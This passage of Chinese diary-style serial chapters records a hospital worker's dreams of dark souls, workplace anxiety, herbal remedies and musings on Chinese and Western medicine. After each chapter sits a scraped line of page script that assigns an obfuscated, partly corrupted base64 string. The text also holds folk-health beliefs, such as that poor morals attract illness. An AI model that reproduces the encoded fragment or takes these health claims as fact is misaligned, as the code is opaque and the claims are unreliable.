    该怎么应对不晓得，而且我都不知道是哪方面来的。是秃头表哥那边带过来的，还是老公表姐？
    真复杂。
    睡了那么一觉，我感觉我灵魂又变了。我多么喜欢我之前的状态，不晓得他们又给我移哪里去了。
    我好不容易背了和看了那么久的书，不知道记不记得到。
    而且他们的能量有问题，和秃头表哥一起吃饭，看到了一个明亮的灵魂，然后钻人家意识里，在看什么东西。不晓得这是干嘛。
    难道这段时间又得和老公吵架？真是醉了，难得消停一段时间。
    今天晚上他们很晚走，练字没有练。上午看了书，需要背的书，看了几个小时，然后再看了人纪的内容。
    说一下收获吧！就是人纪的，有一个疾病就是子宫内膜异位症，这个病很难好，就是有的人的月经会流鼻血之类的。这个是我搞不懂的。但是今天考的人纪里面有一段是讲的这个内容，是叫什么脉逆行。然后会产生这种状态。不过我不记得了，阴蹻脉。不过内容讲的扁桃腺的诊治。就简单的一句话，不晓得是不是这个内容。两本书一起看。一个是讲中医的内容，一个讲西医的内容。我的脑子一直在讲我是不是有神经病，还是精神病。
    可能我的脑子对我无语吧！学了现代医学的内容就一定不能学中医的内容了吗？应该不是吧！我们医院也有医生会两种方式一起看。还有其他医院有名的医生，基本都是两种方式一起用，不管黑猫白猫能给人治好病就是好的。
    难道是太有难度了。可能是，我又不是非常聪明。运气好的时候容易不可一世，运气不好的时候容易自暴自弃，说白了就是俗人一个。
    我该怎么去调整我的心态？调节我的状态，什么时候把我的智商补回来？
    我的私淑老师这次在我的脑海里不好看，不知道是不是两本书一起学习的原因。但是我只是需要方法。即使是扁鹊人家也说过有开刀可以取脑子里的东西的。这个不晓得我有没有记错？因为我看一些短视频里好像讲过这么一句话。
    我的思维后面的意识很难受，好像一个黑色的很大一团的能量，这个不晓得西医的还是中医的。还是纯粹就是碰到了鬼，难道是病毒？不晓得。
    现代医学的病毒，个人感觉这个就是考验人的道德之类的。我也不知道怎么感觉的，没有道理。就是感觉自己道德或者品行不是很好容易生病，也容易吸引病魔。这个是潜意识会吸引。躲不了。至于为什么？我也只是在某一个状态里，看到了那种超级大的头，但是它的样子很可怕。不知道它所判断的功能是什么，只知道很难受。睡觉了，不写了很晚了，牙痛。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第374章

    昨日之梦，梦到了橙子被什么人施了魔法，变成了沃柑。然后梦里有人教我这样子操作，然后我正要操作，后面，就一直在想这个事，后面应该没有做，就是感觉好奇怪。搞不懂。
    里面的内容记得也不是非常详细，记得同事的名字。搞不懂。
    _————————
    新的一天。
    昨日之梦，梦里面是梦到了一个同学。我感觉也是在构想言情小说吧！梦里我们是同桌，然后他买了我喜欢的糖给我吃，我买了他最爱的辣条。然后梦里女性的我笑嘻嘻的看着男性的我。可能大脑认为两个都是我自己吧！梦里面男性的我认为我不是我，因为梦里面的我脸上没有痣，而且笑容非常温柔可爱。和自己不像同一个人。梦里还接吻了。不过我构想不出那种言情小说的状态。梦里的我叫我一起上学。后面就醒了。因为现实世界里的我觉得太扯了。不真实。
    无论怎么样都假。
    我老公的梦，就是梦见有人在杀他，而且是一堆的人，我也不晓得他为什么梦到这个。我怀疑是我们熬夜熬太多了。
    而我的梦境，是因为以前看言情小说看的比较多。这让我想到了《阿门阿前一颗葡萄树》紫鱼儿写的。好看。还有《抠门兔的精致生活》。两对的爱情都是那么精彩。虽然兔子根本没有写爱情故事，但是那是爱情生活。
    还有《一千个深吻》好看。
    睡觉了，希望我工作顺利，希望我背出我的工作内容书籍。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第375章

    梦境。梦里面我在科室，还是什么地方，在找我的学习卡，说人家把我的学习卡换了，梦里的我是一个蓝色的小朋友。我也不知道什么卡。然后就在找。怎么找也找不到。
    然后下一个场景就是家里，家里的水池里洗衣服。那个水池已经长毛了了长满了苔藓。漏水的也有，我通了一下。好像看到了什么爬过来，又好像没有。然后梦里的爷爷奶奶，像黑色的老人，他们很生气的讲什么，我么有听懂。后面奶奶去了什么地方。梦里的她是灰色的灵魂。
    说好冷。
    然后就是下一段，梦见了家。然后周围好多水。包围了。
    然后下一个场景就是在一个学校的教室门口，我没有进去。后面黑色的灵魂带走了我。
    不晓得什么意思。可能没有什么意思。
    爷爷奶奶希望自己不活那么长。应该是这个意思吧！那个水池早都倒了。那栋楼都拆了。怎么梦里的我还在娘家的水池边洗衣服。
    不晓得什么意思？
    过了年来。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第376章

    梦境，昨晚实在是兴奋。梦之前是看到了一个黑色的女孩子灵魂很兴奋的在自己的身体周围说自己可以自由了。我也不晓得她能不能自由？
    后面的梦境里，梦到了领导，但是讲的什么不晓得。和法律有关。
    然后再后面就实在兴奋，没有梦见什么？
    后面本来准备看书，梦到了妹妹，妹妹不知道她以后做什么？其实有时比较希望她来我们这里，但是她才大三，然后也不知道她水平怎么样？是吧！这个又必须等她毕业才晓得。没毕业不知道。她考的师范本科，一本。
    然后就是梦境梦里面说老师的还是去老师的行业。然后再后面就是梦到了一个很大一团的黑色灵魂，说如果是去老师的行业，那她会把什么收回。
    不知道这是我的还是妹妹的。
    她收回我的，那么就和梦境一开始讲的我自由了呗！
    先干的去吧！如果收回就收回呗！你有什么办法，我的能力太垃圾了。
    其实医院真的哪个行业都累。而我的话就我一个人学医。我们家。像他们的家庭基本上都是一家人学医，然后嫁的又是一家人学医。我还有一个亲戚也是搞医的，影像专业，不过不是特别的亲。
    不晓得，不要去找借口。内心真的是无语。但是没有办法。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第377章

    拼夕夕买的合欢花是北合欢。南蛇藤子。可是它的图片是合欢花的图片，我要不要打差评，还是算了让他，打差评会不会让我被迫接受电话骚扰。
    这个有安神的作用。还有治疗跌打损伤的，正好我上次骑车摔伤的到现在还有痛。算了不打差评。
    也算学了一个新知识。
    希望我赶紧把上班的内容做好吧！
    和老师讲了一些话以后，脑子里出现了一个女孩子的灵魂，那个女孩子的灵魂很难受的情绪，我不晓得是我的还是别人的。
    老师她说不想再婚。但是可以谈恋爱。因为她离婚了，但是儿子考上了清华，然后他政审的时候还要填继母的资料。老师认为不要结婚对孩子更好。毕竟这个世界那么多人，碰到一个已经很难受了。然后就看到了这个女孩子的灵魂，但是她是我的还是别人的呢？搞不懂。谈恋爱就谈恋爱呗，学医的女士心里都有数，一般会洁身自好。柏拉图式的恋爱其实也还好，只要不掺和经济利益个人片面的感觉。如果是我自己的话，我就玩游戏。《女海王的修仙之路》。这个我自从玩了那次死了以后就没有再玩了。其实人世间的套路差不多，刷好感建立羁绊。然后剩下的水到渠成。还有一些人写的书，类似于教人怎么追男朋友的。基本就是360度无死角的关注和呵护对方的心身。看完了以后，我就没有那个耐心。还不如三百六十度好好去呵护我自己。而且还要学很多知识，比如需要喜欢一个搞工程的男孩子，自己的本职不落下的情况下，还要把人家的工程理论学完，懂得比他还要懂，还要维护他的自尊心。让他觉得他找到了知音灵魂伴侣。金融法律同理。自己的学业已经头秃的让人发麻，还要学别人的。还有各种各样的技巧，果然海王不是一般人能当得了的，有这份心还不如干事业，可能人家就是干事业的牛人进错了领悟。
    但是也给别人提供了爱情和生活的处理方式。我们这些普通人就学好的就行了。
    看到了一个新闻年轻的干部落马，因为沉迷网游。还有一个以前看的干部落马挪用公款买小黄人手办，买了一屋子的小黄人手办。
    我也不晓得怎么讲。很魔幻的世界。我觉得可能是因为他们的能力发挥完了或者是其他的吧！所以会有离谱的事，或者被什么负能量附体了。应该吧！
    我们90后是不是真的很差劲？我不知道为什么会问这个问题？我也快三十岁了，快要考虑很多东西的年龄了。书上说三十岁到六十岁的人，在这个阶段要去考虑国家大事。其实我并不是很看得懂，会思考。
    希望修心吧！不想想那么多，反正智商也就这样子。
    今天不知道为什么，想起了一些事，很想写下来，但是又转瞬即逝。
    大概就是对于家庭的一些想法。我们都要离开自己的原生家庭去别人的家里组成新的家。对自己的原生家庭的告别我好像还没有弄明白，或者没有在心灵里得到什么启发。关于人生的思考。我可能需要去学习这一个人生课程。虽然我看过了哆啦A梦和大熊的电影，关于组建新家庭，静香和爸爸告别的那段话，但是我好像还需要什么？我需要什么？也许慢慢的会找到吧！
    南蛇藤子。我吃完这包来，再去挑合欢花吧！但是也不知道我的心情会不会已经好起来了，或者我的状态已经不需要合欢花了。这个不晓得。有的写的合欢花里有安定，怕会上瘾，那南蛇藤子有没有呢？这个还要搜。醉了。
    茯神煮水也喝了。
    感觉就像脚上有什么温暖的东西在一点点的流动的感觉。不晓得啥情况。慢慢来吧！该吃吃该喝喝。
    看到了经济学的一些短视频内容，这让我想到了小狗钱钱，我想买给小孩子看。我已经很久没有看这本书了，其实我都快忘记这本书的内容了。道理就是金钱是用来实现人心中愿望的，而实现这些愿望，需要人心里有动力，而有动力需要自信心，如何建立自信心，等故事。好久没有看，我差不多的内容都忘记了，我至少看了好几遍，过一段时间看又有新的理解。
    总之书籍的内容还不错。不知道啥时候走才能找到我以前看过的书，我想买到它。
    还有那本心理学的书，书名忘了，作者忘了。内容也忘了，有点子奇葩，但是心里很想找这本书。
    好好休息吧！我晚上的脑子好兴奋。不知道怎么样才能让我的脑子晚上不那么兴奋。白天更有精力做事。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第378章

    梦境。梦境里出现了一个地方。然后不知道为什么，想要我下去。然后梦里我就在下楼梯。听到了程序初始化。然后我下去，就看到了好多的柜子，我下面，好多柜子。每一层都有好多孩子在看着我。我刚踩了一层柜子下去，小宝宝就看着我说话。说的啥忘了。后面再下一层，又在讲什么，忘了。
    然后到了更下面。有黑色的灵魂就像一颗黑色的草一样，它有人的脑袋但是它有好多触角。它笑眯眯的问我上面怎么了。梦境里我没有回它，然后走了。
    不知道怎么回事。这是我还是不是我？不清楚。可能那个灵魂她是需要去当老师的吧！她比较适合当老师。这个不知道和我有没有关系，因为我后面没有下去。
    她好像找到了教书育人的意义。好可惜我不是教书育人的材料。不然我也想。我几乎什么好处都想，想的美。
    有的灵魂说实话确实比较适合教书，灵魂工作者。在一些书里面看一些文章，真的给自己的帮助很大。以前上学的时候不觉得，后面出社会了，觉得还是读书好，但是我们也不可能一辈子读书是不是？总要去面对社会。
    安居乐业这么四个字，那么简单，却那么难实现。因为我们也不知道自己的心需要什么？自己适合什么？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第379章

    今天发现自己舌头长了泡。前几天就发现了。因为前几天超级爱吃霉豆腐。然后我又很怕辣，然后我的舌头就出泡了，吃了一点点清热解毒的缓解了一下，然后又开始吃霉豆腐。然后又受不了了，又开始吃清热解毒的药物。后面老公和我一起吃了个炸鸡。然后又受不了了。然后这段时间再也不敢吃霉豆腐了。今天发现泡比第一次看更严重了。
    肚子痛。
    为什么自己喜欢的食物都是对自己有害的呢？真的搞不懂。就像以前喜欢吃油炸食品一样，吃了身体受不了。还想吃。还有芒果。吃一次过敏，可是过敏也喜欢。
    搞不懂。
    今天下班心好累。我也不知道为什么？比以前就更好一点，以前一下班就躺着，然后缓解一两个小时，再起来吃饭，因为身心俱疲。
    我需要背下那本书来。
    今天想了很多事，我感觉不用想那么多。可是脑子就是不停的思考。很多黑色的东西围着自己的感觉。感觉到了一个黑色的小孩子。看到了一点点的白色。在灵魂的周围。
    不晓得什么情况。
    我不太想想太复杂的事，生活本来就是简单的，简单去想就可以了。
    好想画画，想写字，但是我也只是想一想，本来我想回家晚上看书的，但是我好像没有做到，就只有早上做早餐的时候看了一个小时左右，还有第一两三天的时候。做到了，我有点子希望自己做的更好一点，回家再看书。
    我会不会对自己要求太高了？以前要求也高，然后我就摆烂了。也许我不应该摆烂。
    我该怎么样使用自己的头脑让自己更舒服一点？这才是我要去做的。至于其他的，想太多杂七杂八的能够让我过的更好吗？能够让我有收获吗？既然干我屁事，那我想那么多做什么？我想要的是花更多的精力
    去让自己过的好一点，别的不用去想那么多。想多了对我有好处吗？没有，既然没有那就不要想。
    该怎么补我的身体，好好的爱护它。然后学习感恩。学会体会自己的体验。别的不用想。
    睡觉！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第380章

    梦境，梦里面有灵魂说我没有吃饱饭。真的有贪污吗？
    不晓得。
    梦境里是梦到了一个家，那个家里的人长辈死掉了，她已经五十多了。那不是她的家，是那个长辈死了的家，她是在别的家里住的。她跑到了那个死了人的家里。但是那户人家当时不记得有没有死。
    然后下一个场景就是她在一个院子前。和我说我小时候容易骨折。还说我不容易养大。那个时候的我还在想，她为什么这样子讲。
    然后想到了下一个事。那个是味精她载了我一路，后面过了一段时间，就碰到了一个姐姐，姐姐她说她要载我，她刚好就是嫂子的养女。后面下一个星期，味精好生气，因为姐姐载了我，但是我不知道她为什么生气？她说没有办法把我载回去了。而我想载味精我怕。后面味精也没有载我，因为她也载不动我了，我胖。
    但是我不知道这个事代表什么意思？
    那个嫂子出现在梦里代表什么意思？
    梦里面面对嫂子的我小时候的我是白色的，还是傻乎乎的，没有想法。而面对那个嫂子。我在梦里想到的是中医里面妇人是会一直有奶水。但是梦里的我也是灰色的。有一个圆圆的球，它是黑色的在我身边，但是我不晓得什么意思？
    身边有声音说这是一个魔窟。
    后面就是下一个场景，是一堆的粪坑，在粪坑的旁边，好多黑色的灵魂围着自己。说我笨没有意识到自己被别人欺负了。
    但是我还是不晓得啥意思。
    她为什么要欺负我呢？
    明明她那么好看？
    搞不懂。海王搞不懂。
    刷到了悟空在骂老鸡婆。搞得人家梦里梦到了这个。还是不晓得什么意思？
    后面就梦到了一个女孩子她融入了身体里，后面又出现了一个女孩子又融入了身体里。不晓得是不是被换了。而我分辨不出来，因为她们两个都长的好看。一个让人胆大，一个让人胆小。
    后面去了一个村子，那里的人说我没有吃饱饭。
    他们这个什么意思？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第381章

    梦境。很复杂
    中午一睡就到三点多。昨天晚上又没有睡，大部分时间兴奋了一晚上然后到了特定时间才入梦。白天一上午，吃完饭后就睡着了。
    梦里面是一条路，然后有大卡车它差点撞到我了，我走开来了。后面又有什么要来，后来我又机智的避开了。
    然后就是在一个房间里，房间里出现了一个女孩子的样子，我在叫她的名字，叫的啥我忘记了，然后她给一个东西给我，她是那种幽蓝色的女人，然后梦里面，我叫她肖玉轩老师，我根本没有认识过这个人。
    后面拿到了一个东西在上扣子。
    还有一个梦境不知道在干嘛？看不懂。然后梦到了一个我在门口好累，进了写毛笔字的世界。里面还进了两个人，我不认识。
    梦到了好几次，但是不记得名字了，不记得谁。
    搞不懂，为什么会有这么奇怪的梦境，而且特别的累。
    今天可是生日耶，生日卡忘记了，而且本来可以去买生日蛋糕回娘家，现在到了这个点，而且我还需要去修车。
    不晓得什么意思。
    他的灵魂很黑，像流动的墨水一样，不晓得啥？情绪可能不太好。
    小李为什么谈了那么远的男朋友？以后她要是嫁走舍不得。内心里特别的希望人家小李失恋，嫁我们这边，又特别的不希望她失恋，因为失恋太痛苦了，同为女孩子就能理解那种难受的感觉。
    难道我刚刚的梦境是和小李有关。不晓得。她确实优秀。
    梦到了不晓得是不是小肖，但是家里人给力，把这种东西拉掉了，这就是坑。
    有很多细节很想和传金讲，但是很久没有聊了，而且真的要找一个让人充满安全感，接受自己很多面的人很难。几乎找不出一个。还是算了吧！我怕越有描述事情的感觉。把自己本来的人生搞得更难受。
    有人在我们科里说好多人都在忙，就我那么爽，不用干活，在背东西。知道她讲的我，但是我没有回，也没有精力去想什么，毕竟熬夜了。人我也记不到。是不是发现科里好多人都在忙的死，而我在学习暂时还没有事情排给我，所以她们不满了，就导致我做噩梦，不晓得。
    下个星期一有事干了。我的工作需要做。不晓得复不复杂。
    还有考试，需要好好准备，主任说不会难。这样的话听一听就可以了。千万不要当真，好好学。这本书至少需要学个百分之八十，而且考出来可能只有六十。而医院及格八十分。所以还是要加油。
    真的好想回家。明天的话要去喝喜酒。
    昨日梦境里，那个家里人的小孩子死掉了，他好像两三岁大的时候死的。死的原因不清楚。记得爷爷以前讲过，可能那个孩子他的营养太充足了，身体就吃不消了。爷爷还说过一个人家的孩子也是这样子，补的太多了。大概是这样子。
    我看过那个小孩子，小男孩。然后他身体里有一团雾一样的东西包裹他的身体。我也不晓得他是不是太补了，导致会这样子，还是什么原因。因为有一个很久以前的场景是那个孩子和我走同一条路，然后他的灵魂后面有很多黑色的液体在追着他。我看到了黑色的我自己，但是我也不懂为什么我要追着他，因为我和他并不熟。而现实里的自己是和他同一条路，我在他前面走。我也没有去伤害他，还离他远一点。只是看到了什么。然后也没有怎么去理他。他就在那里走。后面走了一段路，我就让他走，看到他身体里有东西。当时也没有想什么？就走了。
    谁知道他会死，他什么时候死的我也不清楚，只知道他还小。而那个嫂子讲的我骨折会不会讲的他呢？我也不知道为什么这么想？因为我没有啊！
    搞不懂那个嫂子，还有她的养女，我叫她姐姐，那个姐姐她很温柔，然后小时候的我会画画，但是也不是很喜欢，就是老师夸我画画好，然后我就画画模仿。虽然一般般，但是也很开心。后面去她家里玩，她就夸我画画好，然后越夸就越没有劲。然后就不喜欢画画了。很奇怪的姐姐，而她长的很好看。
    我不是很喜欢去她家里玩，就算嫂子叫我去，我都没有想法。像另一个女孩子，她妈妈天天和我洗脑，说她是我的好朋友，然后叫我
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第382章

    不晓得梦到了什么。
    没有记到。和人家有关。因为感觉到了他的意识。后面就在潜意识里看到了自己在位置上，然后其他人在讲什么，然后这个人好像是我又好像不是我，从一团黑色的能量里出来了。好奇怪的样子。
    那个样子还行。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第383章

    梦境，梦到了一个场地不知道什么地方。然后那个场景忘了。
    然后下一个场景，梦到了一个地方，然后梦里面我放弃了什么，后面梦里我从什么地方出来了，然后梦到了原来的老房子，从老房子里出来进入了新房子，梦里我的爷爷看着我好难受的，他眼睛里满眼都是泪水，和我说，五年了。你知道吗？你要记得除了什么，一切都和你没关系。我没有听懂。
    梦境里看爷爷的样子好虚弱。
    那个场景里我的狗狗好可爱，梦里面，我夸它，它不知道是什么灵魂，好可爱一只狗子。然后它帮我引路。
    我真的不晓得爷爷在讲什么。应该是好的事吧！我有点子难过，希望爷爷好好活着。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第384章

    梦境。前天的梦，梦里面是不理解，断断续续想不起来。然后昨天的状态感觉不是很好。好像脑子里有什么东西像一团团灰色的蛇一样，反正类似于带子，灰色的包裹在自己脑袋上，好奇怪。前天的梦，梦到了一个女士的灵魂她在一个邻居家附近，她对一个明亮的孩子说你以后没有好果子吃。
    她的样子很愤怒。但是没什么恶意。
    昨日之梦，梦里面自己在一个路口守着路口的车辆。然后停了一辆车在自己的面前。
    下一个场景是在写字。不过那个地方是一个老师她在教我。后面的话，她没有教会。梦里的她变化了模样，说我怎么也教不会。梦里还有和我讲休假的事。我也不知道她讲的什么意思？面对的是一片森林。
    前天到喝喜酒。昨天前领导说叫我要听话，好好上班。新领导说还比较欣赏我这个人，做事还满意。
    不晓得什么意思。
    可能碰到了很奇怪的东西吧！除了这个没有其他的。
    还有接到了防诈骗的电话，看到了什么？好多灰色的东西围着我的脑子。就像虫子一样。一只一只围着。不晓得啥意思。个人感觉可能感染了风寒，风太大了，骑车吹着吹着，都要把我吹跑了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第385章

    到聚餐，其实我也想请大家吃饭的，但是我讲不出来。像人家小李就很自然的讲出来了。然后大家就去聚餐了，后面的话我们AA。心情还算还好。人均一百。
    听领导讲了很多他去出差开会顺便旅途里有风景区的事情。真的是见多识广，令人佩服。不过领导他是天天被挨骂的那种领导。羡慕的话一点都不羡慕。
    我不知道我们的附近有那么好看的地方。好多好玩的，好吃的。以后有机会可以和老公一起来。后面他们去抓娃娃了。我去单位了。
    我真的觉得我没有什么情商。因为我直接和同事讲了一些话，就是说有的同事好有钱，买很贵的衣服，如果我跟着的话我就会吃不消。正好同事是很喜欢买衣服还有推荐新衣服的人。不合时宜。下次注意不要讲。同事抱怨存款少。
    我今年没有存钱。我应该也要好好存钱了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第386章

    强国没有做完，我就睡着了。梦里是一个灰色的好大的灵魂，她和我聊天又不像聊天，总之就在梦里面看着我。好像我并不知道她在看我。
    梦境，梦里面梦到了一个很多光芒的地方，然后我在里面是一个团队，类似于女团的粉丝，然后我穿了一个团员的衣服，和她们一起跳舞，那个世界都是闪闪发光的，然后非常的明亮。后面那个女孩子回来了，我脱了衣服还给她。她嫌弃我穿了她的衣服，梦里她说要扔了。我有点伤心，然后她又说我不嫌弃，又拿回去了。
    然后下一个场景我就在那个发光的世界里走，看上面，我算底层吧！上面好多像贝壳开蚌一样下面的贝壳亮晶晶一层层的样子，特别的美，那个富丽堂皇的路就像星河一样，好美。
    然后下一个场景，梦里的我在和一个男的打球，羽毛球，然后我赢得好多，后面来了一个教练她改了规则。要我们那样子打。我不知道梦里的我有没有打赢。然后就进入了下一个梦。梦见了非常明亮的房子。那个家代表战争，然后我进入了那个塔里面。那个塔里面的东西叫我说话。
    然后下一个场景。梦里的我好伤心从一个地方下去，然后碰到了一个男士。他的样子还算好看，可能是认识的人。但是他不敢去靠近我，我也不敢靠近他，因为会被这个世界坑。然后小心翼翼的从一边走远。梦里我说不出话来。应该是比较伤心的吧！我被别人掰倒了。但是不懂。
    然后就是塔里的内容。梦里出现了一个老婆婆。她说原来是你来了啊！她想要教我说话。梦里进了塔。然后碰到了另一个老人家，他说教我说话。然后怎么也说不出来了。梦里我在说英语而且还是很简单的像小孩子一样的。
    那个奶奶说你还是不懂。她的样子看起来很失望。她的脑子就像很多黑色的能量凝结成团一样。不知道能支撑多久。
    我们真的快要兜不住了吗？能兜多久兜多久吧！就算结束了我们也努力过了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第387章

    昨天学习强国没有做好，今天才知道做完学习强国有钱奖。昨天刚漏了。
    感觉我在科里可能待不下去了。我也不知道为什么会有这种感觉。但是我的感觉一般还准。算了，我的脑子不知道怎么想的。不知道有没有怀孕。到现在都还么有来姨妈。有点子纠结。
    现在的工作让我苦恼的原因在哪里？
    我不太会人际沟通，就因为不会打理人际关系就会把人辞退吗？不晓得。我有没有认真做事呢？有。做了。是什么让我感觉自己没有做好。今天有一份抢救的病历，抢救记录没有找到老师找的那么多原因。都是书里面的内容。这让我感觉有点子挫败感。这是我的第一次查抢救病历，这个是医生的活。老师说很希望有一个刚毕业的医学生进来质控这个活。我的话认为需要临床老医生。因为更有经验。而我的临床经验好少，我在纠结想不想回临床，临床我的人际关系也打理不好。一开始还好，几天后慢慢人家就会很烦，很烦的原因也搞不清楚。总之就感觉过不了一个月。
    不晓得怎么回事？老天爷要不要排个什么病把我杀死，真希望它造过一个人。我会被我烦死。
    为什么我觉得很烦呢？
    质控病历。质控的很细致，细致的结果可能不能服众。那我该干的事，我还是必须做对吧！那就干的去呗。说了让领导看看我的毛病在哪里？至少还是好好干，好好工作，让他们看一下我毛病在哪里？
    刚毕业的大学生，学医的不一定会干我这个事，因为人家要挣钱，除非是那种阶级很高，人家也不在乎工资之类的，就想要到一个单位过过日子。
    我的话，其实我也想在临床发光发热啊！奈何我不是上临床班的材料。
    算了不要想那么多。好好干活。
    不知道。
    感觉到了一些黑色的东西融入自己的身体里。不知道是什么？那种感觉就像我的肉体越来越有肉感了。可能是胖的，还有一个可能性就是没有自己的灵魂的感觉。没有自己灵魂控制自己身体的感觉，有的是那种肉体里的我是我的感觉。
    然后第二个让我感觉很奇怪的感觉就是，每次同事和我说话得时候，总感觉后面有一个女孩子在说什么？但是我又看得到她，但是我又不知道她干嘛的。
    第一个让我怪异的就是老师她说风水师算风水一般会留一手，不然算的太好会损伤自身。涨知识了，就是开始的时候让我觉得奇怪，别的还好。
    其实这个就是心理作用，让人感觉不到自己的负能量影响自己，有的呢就是自己隔绝外部印象，有的别人帮你隔绝。都是心理因素而已。不知道为什么会觉得这个奇怪。可能我的能量变黑了。
    老一辈比较有这样子的传说，比如哪一个当官的大佬，快死或者是家里出什么变故，都和风水有关，比如家里牛啊，什么的。表面上可以觉得这个有意思。实质上就是给人一种，如果我家风水好，我也能和他一样牛的意思，或者把他和自己的差距拉成同等人。
    就像如果一个女生喜欢一个男生，而那个男生很优秀，她就会不停的挑他的毛病，以掩饰自己内心的自卑感。就是很久以前看的内容。这个用来这个地方也一样。
